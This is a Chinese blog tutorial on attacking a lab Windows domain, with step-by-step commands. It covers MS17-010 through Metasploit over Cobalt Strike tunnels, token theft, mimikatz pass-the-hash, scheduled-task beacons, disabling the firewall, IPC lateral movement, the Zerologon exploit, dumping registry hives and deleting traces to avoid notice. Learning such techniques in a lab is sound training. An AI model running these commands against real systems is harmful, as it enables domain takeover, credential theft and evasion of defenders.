内网靶场_从自做到拿下-域渗透

内网靶场_从自做到拿下-域渗透

1. 目录

目录 ----- ------ ------ ------ 1

​ 简介 ------ ------ ----------- 1.1

域环境 ----- ----- ----- ----- 2

​ ms17-010拿域控 ----- ---- 2.1

​ 存活主机探测 ------ ----- 2.1.1

​ 取得域控权限 ------ ----- 2.1.2

​ 域管身份拿域控 ------ ----- 2.2

​ 通过令牌拿域控 ---- ---- 2.2.1

​ 通过密码拿域控 ---- ---- 2.2.2

​ zerologon获取域控权限 — 2.3

​ cve-2020-1472漏洞利用 2.3.1

​ 上线cs ---- ----- ----- - 2.3.2

可能错误处理 ---- ---- ------ 3

​ net系统错误6118 ---- ---- 3.1

​ 域控无法ping通域成员 ----- 3.2

​ wmiexec.py脚本出现解码错误 3.3

总结 ---- ----- ---- ----- — 4

1.1 简介

​ 在前文的基础上,进行本文的实验

​ 在前文中,以讲述到 将cs后门上传至域成员机,并且通过frp搭建的反向隧道,通过反弹shell的形式成功获取域成员的shell权限。本文在此基础上,开始利用cs等工具,获取相关信息,并对与环境中的域控服务器进行渗透。

​ 如未阅读前文,可关注公众号或通过下述连接,阅读该系列文章:

内网靶场_从自做到拿下-自做篇:
https://mp.weixin.qq.com/s/kwVVYjJ4sNxNx0XKvVDN-A

内网靶场_从自做到拿下-攻击篇:
https://mp.weixin.qq.com/s/7MzYOZ10zrQCSZ2a9k23gw

在攻击篇中你学到了:

​ 1. frp多级socks隧道正向搭建

​ 2. frp多级socks隧道反向搭建

​ 3. 通过frp的反向隧道 获取反向shell

在该篇中,你将学到

​ Cobalt Strike 的使用方法

​ 2.1.2 : 生成正向监听 由取得权限的域成员机向域控机发起连接 获取正向shell

​ 2.2.1 : 以域成员为跳板 由域控机向取得权限的域成员机发起连接 获取反向shell

​ 2.2.2 : 通过建立ipc连接 已知域管明文密码情况下 获取正向shell

​ 2.3 : 通过zero漏洞 未取得域管权限的情况下 获取域控的域管shell

​ 3.3 : 通过修改脚本源码,解决中文解码错误

工具分享:

链接:https://pan.baidu.com/s/1SxOhT5N0lvaPe2q1Nxg0FQ 
提取码:qmig

2. 域环境

2.1 ms17-010拿域控

前文简述:

​ 当我们通过msf成功利用靶机的ms17-010漏洞取得权限后,将cs(cobalt Strike 后文均简写为cs)生成的后门文件上传至靶机并运行,成功反弹shell至cs,取得权限。

2.1.1 存活主机探测

当我们成功上线后,在cs的 目标 列表中,仅有已上线靶机的一台目标:

image-20220113152526868

如果在真实环境中,我们要中的也于此相同,先探测同网段的存活主机有哪些,可以使用ping、nmap等诸多工具探测;此处以cs为例展开。

在我们的 会话 列表中,右键点击 选择 INteract 打开会话窗口,可以执行命令

image-20220113153202365

以上两图,是对同一靶机连通的会话,可以看到 在会话列表中(图2),每一会话,显示一条,而在 目标 列表中(图1),相同的靶机仅会显示一条

在会话(beacon)窗口,可以执行cs提供的一系列命令,通过help查询:

image-20220113153614727

在对目标探测时有两种情况

1.当不处于域环境时(处于域环境也可),对ip段进行探测:

在 会话 列表中,找到port scan选项(单看选项时对端口的探测 实际上也包含存活主机探测。。。不得不吐槽一下cs参数、参数名等含义太难以区分了。。。)

image-20220113154004060

打开该选项后,在弹出的功能页中主要有以下内容(选中后,多等一会才会出现ip,或者提前设置sleep),选择要探测的ip段,填写 ports 当填写该项的时候,会在探测存活ip的同时对ip的这些端口进行检测,当ports项为空时,就是仅探测存活主机了,不过,正常情况下端口和ip同时探测即可。

在discovery中可以选择探测方式,点击scan开始探测,探测完成后,会自动将探测到的主机信息(存活主机ip、端口信息等)保存在 目标列表 中,记得设置 sleep 0(看大部分说法是 心跳间隔,个人理解 这不就是响应间隔嘛)

image-20220113154157863

image-20220113154648555

当探测完毕后,同样在 目标 列表中,选择 services 选项, 即可查看对端口的探测信息,可以发现 445端口,msf测试,同样存在ms17-010漏洞

image-20220113160517400

2.1.2 取得域控权限

前文中使用frp搭建正反向 两条socks5隧道,通过反向代理的方式,使得靶机上线cs。

此处通过cs自带的socks监听,生成正向后门,以已经上线cs的靶机为跳板,通过正向连接的方式,上线域控机。

启动cs的socks监听:

此处采用 正向shell的方式 (反向监听在2.2.1中讲述) ,监听 服务端(运行teamserver的攻击机)的端口,设置socks隧道,不过 cs生成的隧道似乎是socks4的隧道,设置代理的时候也要设置为socks4

image-20220113163151287

查看我们通过cs开启的socks隧道,ip是服务端ip,端口即为上图设置的 16682端口,如下:

image-20220113164126143

然后就是使用msf打ms17-010漏洞,和前文一样,直接概述:

setg Proxies socks4:172.16.52.227:16682
setg ReverseAllowProxy true
use exploit/windows/smb/ms17_010_psexec		#此处有所差别
set rhost 192.168.30.10
set lhost 172.16.52.227
set payload windows/x64/meterpreter/bind_tcp

image-20220113164301694

在使用msf利用ms17-010漏洞时

本次选择的模块:exploit/windows/smb/ms17_010_psexec,需要目标开启命名管道,连接稳定

而前文使用的模块:exploit/windows/smb/ms17_010_eternalblue,如果靶机存在这个漏洞即可利用,但是正由于功能比较强大,也存在把靶机打蓝屏、重启等情况。而且杀软拦截也比较严格

故,在使用msf利用ms17-010漏洞时,优先考虑使用exploit/windows/smb/ms17_010_psexec模块

生成正向监听后门exe:

image-20220113165116220

然后就是加载该监听,并生成后门:

image-20220113165956802

通过msf上传并启动运行:

image-20220113170255028

这些生成后门,和通过msf上传启动,和前文并没有区别,故,直接概述

需要注意的是在 加载监听生成后门 时,之所以选择下面 带 (s) 的是因为:

没带(s)的,生成的是 类似于下载程序,通过成功建立连接后,分段下载完整后门至靶机的方式,完成功能的实现。优点是:小巧,缺点是:容易传输失败

而带(s)的,生成的是完整的后门程序,功能完整。优点是:一次到位,缺点是:体积相对要大一些

各有优缺,根据需求选择即可

正向监听的监听端口已开启,接下来便是通过我们已经取得权限的靶机作为跳板机,正向发起连接:

通过命令:connect 192.168.30.10 4444 发起连接,可以看到成功上线,并且因为是通过ms17-010漏洞启动的监听,故权限也是最高的system权限

image-20220113171036198

小结:

​ 成功上线域控后,还是管理员权限,便可执行任意命令包括但不限于:收集敏感信息、上线所有域成员等等;

2.2 域管身份拿域控

因为域环境的特殊性,域用户默认情况下只有普通用户权限仅能登录域成员,且无法登录域控。

故我们需要通过各种手段,包括但不限于:域管理员(下称:域管)令牌窃取、漏洞利用等。

概述:

​ 当我们域成员机中,有域管登录该成员机,或者有以域管权限启动的进程等等,我们即可通过这些痕迹,取得域管密码或者取得令牌,以域管的身份登录域控,并控制整个域环境。

​ 此处直接以域管身份登录域成员,分别展开两种方式拿下域控。

先在域成员机登录域管账户,使域成员机存在域管记录。

登录时,为防止用户名冲突,用户名有两种输入方式

  1. 域名\用户名:HACK\Administrator
  2. 用户名@域名.com:Administrator@hack.com

image-20220117111529165

2.2.1 通过令牌拿域控

因为我们已经通过cs上线域成员机,故,可以由此可以获取诸多敏感信息,包括域管令牌:

查找是否存在以域管身份运行的进程:

通过查看 域成员机 进程列表,可以发现诸多进程,当进程列表中,出现以域管身份运行的进程时,我们就可以通过窃取该进程的令牌,来获得域管的身份,进而登录域控,控制整个域环境。

此处,域管身份的进程,包括但不限于 域管登录、域管通过域控机对域成员机安装程序等。

找到以域管身份运行的进程后,点击下方的 steal Token 按钮,可以窃取域管令牌,取得域管身份

image-20220117112745588

此处额外添加小知识:

如果取得了域管用户的hash值,还可以由此自行创建一个域管进程,并窃取令牌进而取得域管权限:

使用命令:

#注意空格
mimikatz sekurlsa::pth /user:[域账户] /domain:[域名称] /ntlm:[域账户hash] /run:"cmd -whidden"

mimikatz sekurlsa::pth /user:administrator /domain:HACK /ntlm:52006573b2d198f930c6c27c456fe945 /run:"cmd -whidden"

可使用cs提供的两个命令 Dump Hashes命令和 Run Mimikatz命令,提取该靶机中存储的 明文密码或者密码的hash值,选中想要复制的 用户名及密码(或者hash值) 点击下方的copy按钮,即可提取

image-20220117144627309

image-20220117145340700

额外添加小知识----此处结束;

令牌窃取的过程:

使用 ps 列出进程
使用 steal_token [pid] 窃取令牌
使用 getuid 找到你是谁
使用 rev2self 移除令牌

使用getuid命令可以看到,我们成功由 本地system用户,切换至域管用户:

image-20220117113207944

通过查看域控机共享目录来判断是否取得域管权限:

image-20220117140235400

当我们移除 域管 令牌 依旧使用本地system权限时,可以发现并不能访问域控共享目录:

image-20220117140401828

可见,当我们窃取令牌后即可取得域管权限,接下来便是通过域管权限,取得 域控 控制权

利用过程:

注:在下列利用过程1-5阶段,步骤没有问题,但是会因为防火墙原因导致无法成功上线,从第六步讲关闭防火墙,可先跳过 1-5 阶段,待关闭防火墙后再回到此处。(如果采用2.1.2中的正向连接则不存在该问题)

  1. 窃取令牌后 取得域管权限
  2. 以域成员机作为跳板,使用cs生成监听,及反向连接的后门exe上传至域控服务器,生成以域成员机为中转机的反向监听,并 同2.1.2 加载该监听生成exe后门:

image-20220117174932624

image-20220117175014290

  1. 上传至域控,需要先上传至我们拿到的域成员机,然后再copy至域控的共享目录下:

image-20220117165855398

执行shell命令 将当前目录下的 exe程序 copy至 域控的 共享目录下:
shell copy ./AD_1-beacon.exe \\192.168.30.10\c$

image-20220117145615870

  1. 使用下列命令,在域控机以创建计划任务的形式,添加定时启动,启动该后门程序,进而取得shell
shell schtasks /create /s [域控ip] /tn [计划名_任取] /sc minute /mo 1 /tr [待启动exe路径] /ru system /f

shell schtasks /create /s 192.168.30.10 /tn hack /sc minute /mo 1 /tr c:\AD_1-beacon.exe /ru system /f

通过下列命令 删除计划任务
shell schtasks /delete /s 192.168.30.10 /tn hack /f

image-20220117155237107

  1. 经上述步骤,正常情况下是没有问题,可以直接上线的,但是由于该成员机存在防火墙原因,会导致被拦截而无法上线。我们需要先关闭防火墙才可。如果直接使用命令net stop mpssvc会是的防火墙这个进程整个关闭,导致该靶机直接无法ping通,所以不可取。使用命令netsh firewall set opmode mode=disable仅关闭拦截即可

image-20220117184744377

image-20220117180422318

  1. 如果未关闭防火墙,导致 经1- 5 步骤后无法成功上线的话,可通过第6步,关闭防火墙后,等待即可(因为计划任务会自动启动我们的后门进程,如果长时间未上线,则再重复一遍即可)

image-20220117190356994

2.2.2 通过密码拿域控

在域环境渗透过程中,如果好运的拿到了域管的密码,则可通过 ipc横向移动 的方式进行shell获取:

建立 SMB 监听:

image-20220117194038332

通过我们获取到的 域管用户及密码,建立ipc连接:

#shell net use \\192.168.30.20\ipc$ /u:"[域管用户名]" "[域管密码]"
#shell net use \\192.168.30.20\ipc$ /u:"administrator" "admin_passwd"
使用命令 shell net use 查看建立的连接

net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
net use \\ip\ipc$ /del			(清理痕迹,删除ipc连接)


这里提一个点,在多次渗透内网的过程中碰到了一个问题,那么就是这个命令输入的时候到底需不需要加上引号,我的建议是最好加上引号,另外就是如果是在Cobalt Strike里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行转义,否则可能会导致ipc连接不成功。

其中 向域管用户发起ipc连接时 除了 administrator 用户外,某些情况还存在 管理组用户也可建立连接,具体情况可参考:
(参考文简介:在域管机中,通过专门设置,需满足 1.域成员被添加至管理员administrator组 2.修改注册表设置,默认情况不可用;条件比较苛刻)
https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/#%E6%9C%AC%E5%9C%B0%E7%94%A8%E6%88%B7%E5%92%8C%E5%9F%9F%E7%94%A8%E6%88%B7%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6

image-20220117194432658

建立ipc连接后,即可直接使用jump命令上线 域控:

jump [模块名]	[目标ip/域名/计算机名 均可]	[创建的smb监听_监听名]
jump psexec64 WIN-EO6QBQHJOIA SMB

可以直接通过命令取得shell,或者通过 进入 目标列表 使用功能按钮,进行选择:

image-20220117195140747

执行完毕后,等待片刻,即可成功上线,取得shell,该连接方式为正向连接

image-20220117195435024

2.3 zerologon获取域控权限

工具准备:

zero漏洞的系列脚本:cve-2020-1472-exploit.py、secretsdump.py、reinstall_original_pw.py、impacket工具包

漏洞编号: CVE-2020-1472

漏洞简介:

​ 通过置空 域控机密码(注册表等记录并不会被修改,漏洞详情自行百度),导出 hash 取得域管权限,并还原域控密码。再通过域管权限上传后门exe,启动,建立连接,上线cs。

实操:

在我们已取得一台域成员权限的基础上(未取得,可先阅读前文)进行利用。

首先通过cs自带功能建立socks隧道,对攻击机设置全局代理,

image-20220113163151287

因为漏洞利用阶段,要由攻击机直接执行脚本,对内网环境发起攻击,而漏洞利用脚本,一般情况下都是已经完善好的,不方便再修改代码添加代理什么的。并且通过设置,修改系统代理的话,不仅麻烦而且有些程序依旧不会走系统代理。故,通过一些代理工具,直接强制所有流量通过代理执行。

注:如果你在未设置代理的情况下,发现可以直接通过宿主机执行脚本对靶机发起攻击,不要惊讶,因为你是宿主机,虚拟机的虚拟网卡的虚拟ip,你都有,所以可以直接访问,但实际情况下是你需要通过代理

设置我们通过cs生成的代理,ip为cs服务端ip,端口为上图设置端口:

image-20220118171816105

添加完代理服务器后,便是设置代理规则,默认情况下是全局代理,也导致需要联网的一些程序,如:浏览器、cs客户端等程序的流量也被代理至内网,而出现无法联网的情况。

故,需要通过设置代理规则的方式来进行判定,仅代理哪些程序、或者仅不代理哪些程序。笔者设置了仅选定的程序不经过代理,其余均使用代理(简单、易设置。。。。)

然后就是,需要注意的是,代理规则可以设置多条,其代理优先级从上至下。

image-20220118172433087

2.3.1 cve-2020-1472漏洞利用

设置代理后,便可直接使用各种工具开始对内网发起攻击,置空域控密码:

#python cve-2020-1472-exploit.py [域控主机名] [域控ip]
python cve-2020-1472-exploit.py WIN-EO6QBQHJOIA 192.168.30.10

image-20220118174748979

可以看到,执行脚本时,python流量经过代理,当执行成功后,可以看到上图结果。

使用空密码建立连接,并导出hash:

#python secretsdump.py [域]/[域控主机名]@[域控ip] -no-pass
python secretsdump.py hack.cn/WIN-EO6QBQHJOIA$@192.168.30.10 -no-pass

通过导出的hash,可以明显的看到,WIN-EO6QBQHJOIA 密码被置为空(空密码hash为:31d6cfe0d16ae931b73c59d7e0c089c0),但是 Administrator 用户密码却并未被更改。故,我们利用的也是:WIN-EO6QBQHJOIA

image-20220118175123512

有了域管用户:Administrator 的hash,即可使用wmi的hash传递,发起攻击取得域控机的shell权限:

找到impacket包的安装路径,在python安装路径下的模块目录中:python\Lib\site-packages\impacket-0.9.25.dev1-py3.7.egg\EGG-INFO\scripts(笔者路径为此,可通过文件搜索工具快速查找),并在该路径下启动cmd命令框(为使用wmiexec.py)

image-20220118175706091

然后使用wmi命令,使用hash传递的方法,取得权限:

python wmiexec.py -hashes [在导出hash时取得的] [域管用户名]@[域控ip]

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:52006573b2d198f930c6c27c456fe945 Administrator@192.168.30.10

可以看到,成功由本地路径切换至域控路径,并取得域管shell:

image-20220118180128110

#执行以下命令,将原密码的hash文件,保存在域控端,然后下载至本地,进行解析。最后删除域控端的备份文件 清楚痕迹
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

#当使用下列命令下载文件时,会将下载的文件保存在wmiexec.py的同目录下
lget system.save //部分版本impacket用get下载文件
lget sam.save
lget security.save

#清理域控段文件,防止太明显被发现
del system.save
del sam.save
del security.save
 

在执行命令时,如果出现下列错误提示,为字符集问题,解码错误,无法识别中文。可通过对脚本进行修改,进行解决。解决方案参考 3.3 ,修改后脚本,在工具连接中分享。

image-20220119092324638

image-20220119094335206

下载、删除,不再演示。输入 exit 退出远程连接。

获取三个 hash文件后,使用脚本对其进行解析:

#python secretsdump.py -sam [sam.save路径] -system [system.save路径] -security [security.save路径] LOCAL

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20220119094719184

选择 ACC 后面的 红线圈中的 hash 即为我们还原域控密码时所需要的原hash:

python reinstall_original_pw.py [域控机名称] [域控ip] [上图中acc后的hash值]

python reinstall_original_pw.py WIN-EO6QBQHJOIA 192.168.30.10 d2f33aa3d0ceab19535825f2209e99d7

image-20220119094931422

恢复成功后,再以空口令连接,会失败,无法再得到域控机的hash,不过因为我们前面已经取得hash,可以直接使用wmiexec.py通过hash传递,直接取得权限:

image-20220119095101987

hash不变,还是之前的administrator的hash值:

image-20220118180128110

2.3.2 上线cs

概述:

​ 通过2.3.1中获取的权限,上传我们的 cs生成的后门你exe建立连接,此处建立连接的方式同样有两种:2.1.2 中 生成正向监听 获取正向shell 2.2.1中 以域成员为跳板 获取反向shell ;此处采用正向连接(简便),将生成的正向监听后门上传至域控机(生成过程参考2.1.2):

#使用lput命令上传(不同版本可能使用的时put,区别是否有L)

#默认上传至域控机的当前路径下,如下图中的 c盘根目录
lput [所要上传的后门exe,在本机的路径]

image-20220119100303455

上传成功后,启动该exe程序:

start AD_1-beadmon.exe

使用命令,启动后门后,该cmd会出现无响应的情况,直接关闭即可,后门程序已启动,只需通过cs执行命令,建立正向连接,即可上线:

image-20220119101651229

image-20220119101851229

并且是域管权限:

image-20220119101931724

3. 可能错误处理

3.1 net系统错误6118

#注:此错误处理,须在域控机执行方可解决

打开cmd执行两条命令

net start Browser
net stop mpssvc

再执行net view    如果还是提示6118 
退出重新打开cmd 再执行 net view   就可以了   

还不行多输入几遍命令 可能有缓存情况 记得刷新服务列表

如果 browser  服务被禁止记得先执行 下列命令 把禁止解除
sc config Browser start=[空格]demand(设置服务为手动启动)

3.2 域控无法ping通域成员

当出现,域成员可以ping通域控的ip、域名时,但域控却无法ping通域成员,可以考虑如下解决方案:

如果是真实环境,需要开启防火墙,可通过对防火墙的入站规则进行设置:

在无法被ping通的 域成员机中,通过控制面板,进入防火墙管理的高级设置中,对入站规则进行设置,启动icmp

image-20220117162008375

如果是靶场,或者是渗透目标,可通过命令:netsh firewall set opmode mode=disable 关闭但不禁用防火墙

image-20220117180422318

3.3 wmiexec.py脚本出现解码错误

添加字符集列表,如果解码出错,自行更换:

image-20220119093702844

找到解码出错时的报错提示,添加1、2两处代码,进行字符集的更换:

image-20220119093833353

4. 总结:

至此,讲述了 cs的多种使用方式 包括:

攻击篇中的:frp搭建socks的正、反向隧道;通过frp的反向隧道 获取反向shell

本篇中的:2.1.2 中 生成正向监听 获取正向shell

​ 2.2.1中 以域成员为跳板 获取反向shell

​ 2.2.2中 通过建立ipc连接 获取正向shell等

​ 2.3 中 通过zero漏洞 获取shell

通过上文,取得与权限后,相当于取得了域环境的最高权限,可以使用通过本系列文学到的几种横向移动方式,上线整个域环境

本系列文,主要讲述的是,如何一步步取得整个内网的权限。取得权限后,即可收集各种敏感信息、添加后门、痕迹清除等等。由于时间、篇幅等原因,该篇 域渗透 至此结束。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值